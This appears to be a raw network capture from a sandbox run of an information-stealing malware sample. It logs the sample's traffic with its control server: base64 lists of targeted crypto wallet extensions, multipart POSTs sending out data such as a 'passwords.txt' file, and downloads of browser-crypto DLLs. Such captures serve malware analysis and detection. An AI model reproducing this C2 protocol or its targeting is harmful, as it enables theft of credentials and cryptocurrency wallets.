Oct 4, 2024 09:52:24.215991974 CEST	1236	IN	Data Raw: 38 4d 48 77 77 66 45 56 57 52 56 49 67 56 32 46 73 62 47 56 30 66 44 46 38 59 32 64 6c 5a 57 39 6b 63 47 5a 68 5a 32 70 6a 5a 57 56 6d 61 57 56 6d 62 47 31 6b 5a 6e 42 6f 63 47 78 72 5a 57 35 73 5a 6d 74 38 4d 58 77 77 66 44 42 38 53 32 46 79 5a Data Ascii: 8MHwwfEVWRVIgV2FsbGV0fDF8Y2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8MXwwfDB8S2FyZGlhQ2hhaW58MXxwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3wxfDB8MHxSYWJieXwxfGFjbWFjb2RramJkZ21vbGVlYm9sbWRqb25pbGtkYmNofDF8MHwwfFBoYW50b218MXxiZm5hZWxtb21laW1obH
Oct 4, 2024 09:52:24.216006994 CEST	1236	IN	Data Raw: 6c 63 48 42 6e 5a 48 42 6f 66 44 46 38 4d 48 77 77 66 45 56 34 62 32 52 31 63 79 42 58 5a 57 49 7a 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6f 62 32 78 77 5a 6d 52 70 59 57 78 71 5a 32 70 6d 61 47 39 74 61 57 68 72 61 6d 4a 74 5a 32 70 70 5a Data Ascii: lcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW1lamRtYXwxfDB8MHxFbmtyeXB0fDF8a2twbGxrb2RqZWxvaWRpZWVkb2pvZ2FjZmhwYWlob2h8MXwwfDB8T0tYIFdlYjMgV2
Oct 4, 2024 09:52:24.216022015 CEST	1236	IN	Data Raw: 76 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 4a 6e 61 6d 39 6e 63 47 39 70 5a 47 56 71 5a 47 56 74 5a 32 39 76 59 32 68 77 62 6d 74 74 5a 47 70 77 62 32 4e 6e 61 32 68 68 66 44 46 38 4d 48 77 77 66 45 4e 76 61 57 35 6f 64 57 4a 38 4d 58 78 71 5a Data Ascii: vIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB8MHxMZWFwIENvc21vcyBXYWxsZXR8MXxmY2ZjZmxsZm5kbG9tZGhiZWhqamNvaW1iZ29mZG5jZ3wxfDB8MHxNdWx0aXZlcnNYIERlRmkgV2FsbGV0fD
Oct 4, 2024 09:52:24.216048002 CEST	675	IN	Data Raw: 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 31 72 63 47 56 6e 61 6d 74 69 62 47 74 72 5a 57 5a 68 59 32 5a 75 62 57 74 68 61 6d 4e 71 62 57 46 69 61 57 70 6f 59 32 78 6e 66 44 46 38 4d 48 77 77 66 45 4a 68 59 32 74 77 59 Data Ascii: pYyBFZGVuIFdhbGxldHwxfG1rcGVnamtibGtrZWZhY2ZubWthamNqbWFiaWpoY2xnfDF8MHwwfEJhY2twYWNrIFdhbGxldHwxfGFmbGttZmhlYmVkYmppb2lwZ2xnY2JjbW5icGdsaW9mfDF8MHwwfFRvbmtlZXBlciBXYWxsZXR8MXxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYW
Oct 4, 2024 09:52:24.544408083 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 09:52:24.544756889 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 09:52:24.545953989 CEST	519	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGH Host: proxy.johnmccrea.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 2d 2d 0d 0a Data Ascii: ------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="mode"21------DAFHIDGIJKJKECBGDBGH--
Oct 4, 2024 09:52:25.120608091 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Oct 4, 2024 09:52:25.197138071 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBA Host: proxy.johnmccrea.com Content-Length: 6757 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:25.197138071 CEST	6757	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 Data Ascii: ------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------AKJDGDGDHDGDBF
Oct 4, 2024 09:52:25.970590115 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 4, 2024 09:52:25.973143101 CEST	103	OUT	GET //sql.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:26.157157898 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:26 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Oct 4, 2024 09:52:28.314728975 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIIJDAAAAKFHIDAAAK Host: proxy.johnmccrea.com Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:29.136542082 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 4, 2024 09:52:29.353061914 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: proxy.johnmccrea.com Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:30.179424047 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 4, 2024 09:52:30.198306084 CEST	624	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: proxy.johnmccrea.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 [TRUNCATED] Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_data"------EGIDAAFIEHIEHJKFHCAE--
Oct 4, 2024 09:52:31.014350891 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 4, 2024 09:52:31.114981890 CEST	624	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBF Host: proxy.johnmccrea.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b [TRUNCATED] Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file_data"------KFHJJJKKFHIDAAKFBFBF--
Oct 4, 2024 09:52:31.855987072 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 4, 2024 09:52:31.915899992 CEST	107	OUT	GET //freebl3.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:32.099997997 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:32 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 4, 2024 09:52:32.755785942 CEST	107	OUT	GET //mozglue.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:32.940637112 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:32 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 4, 2024 09:52:33.323878050 CEST	108	OUT	GET //msvcp140.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:33.507957935 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:33 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 4, 2024 09:52:33.816925049 CEST	108	OUT	GET //softokn3.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:34.142703056 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:33 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 4, 2024 09:52:34.174653053 CEST	112	OUT	GET //vcruntime140.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:34.358522892 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:34 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 4, 2024 09:52:34.384139061 CEST	104	OUT	GET //nss3.dll HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:34.792270899 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:34 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 